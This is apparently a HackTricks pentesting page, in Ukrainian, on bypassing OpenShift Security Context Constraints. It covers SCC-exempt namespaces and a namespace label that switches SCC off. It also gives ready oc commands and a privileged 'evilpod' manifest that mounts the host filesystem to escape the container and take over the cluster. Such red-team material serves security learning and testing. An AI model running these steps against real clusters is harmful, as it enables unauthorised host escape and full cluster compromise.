Openshift - SCC bypass

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Автором цієї сторінки є Guillaume

Привілейовані простори імен

За замовчуванням, SCC не застосовується до наступних проектів:

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

Якщо ви розгортаєте поди в одному з цих просторів імен, жоден SCC не буде застосовано, що дозволяє розгортати привілейовані поди або монтувати файлову систему хоста.

Мітка простору імен

Існує спосіб вимкнути застосування SCC на вашому поді відповідно до документації RedHat. Вам потрібно мати принаймні одне з наступних дозволів:

  • Створити простір імен і створити под у цьому просторі імен
  • Редагувати простір імен і створити под у цьому просторі імен
bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Специфічна мітка openshift.io/run-level дозволяє користувачам обходити SCC для додатків. Згідно з документацією RedHat, коли ця мітка використовується, жодні SCC не застосовуються до всіх подів у цьому просторі імен, ефективно усуваючи будь-які обмеження.

Додати мітку

Щоб додати мітку у вашому просторі імен:

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

Щоб створити простір імен з міткою через файл YAML:

yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Тепер всі нові поди, створені в просторі імен, не повинні мати жодного SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

У відсутності SCC немає жодних обмежень на визначення вашого пода. Це означає, що зловмисний под може бути легко створений для втечі на хост-систему.

yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Тепер стало легше підвищити привілеї для доступу до хост-системи і, відповідно, захопити весь кластер, отримавши привілеї 'cluster-admin'. Шукайте частину Node-Post Exploitation на наступній сторінці:

Attacking Kubernetes from inside a Pod

Користувацькі мітки

Більше того, в залежності від налаштування цілі, деякі користувацькі мітки / анотації можуть використовуватися так само, як у попередньому сценарії атаки. Навіть якщо це не призначено, мітки можуть використовуватися для надання дозволів, обмеження або не обмеження конкретного ресурсу.

Спробуйте знайти користувацькі мітки, якщо ви можете прочитати деякі ресурси. Ось список цікавих ресурсів:

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Перерахуйте всі привілейовані простори імен

bash
$ oc get project -o yaml | grep 'run-level' -b5

Advanced exploit

В OpenShift, як було продемонстровано раніше, наявність дозволу на розгортання пода в просторі імен з міткою openshift.io/run-level може призвести до простого захоплення кластера. З точки зору налаштувань кластера, ця функціональність не може бути вимкнена, оскільки вона є невід'ємною частиною дизайну OpenShift.

Однак, заходи пом'якшення, такі як Open Policy Agent GateKeeper, можуть запобігти користувачам встановлювати цю мітку.

Щоб обійти правила GateKeeper і встановити цю мітку для виконання захоплення кластера, зловмисники повинні виявити альтернативні методи.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks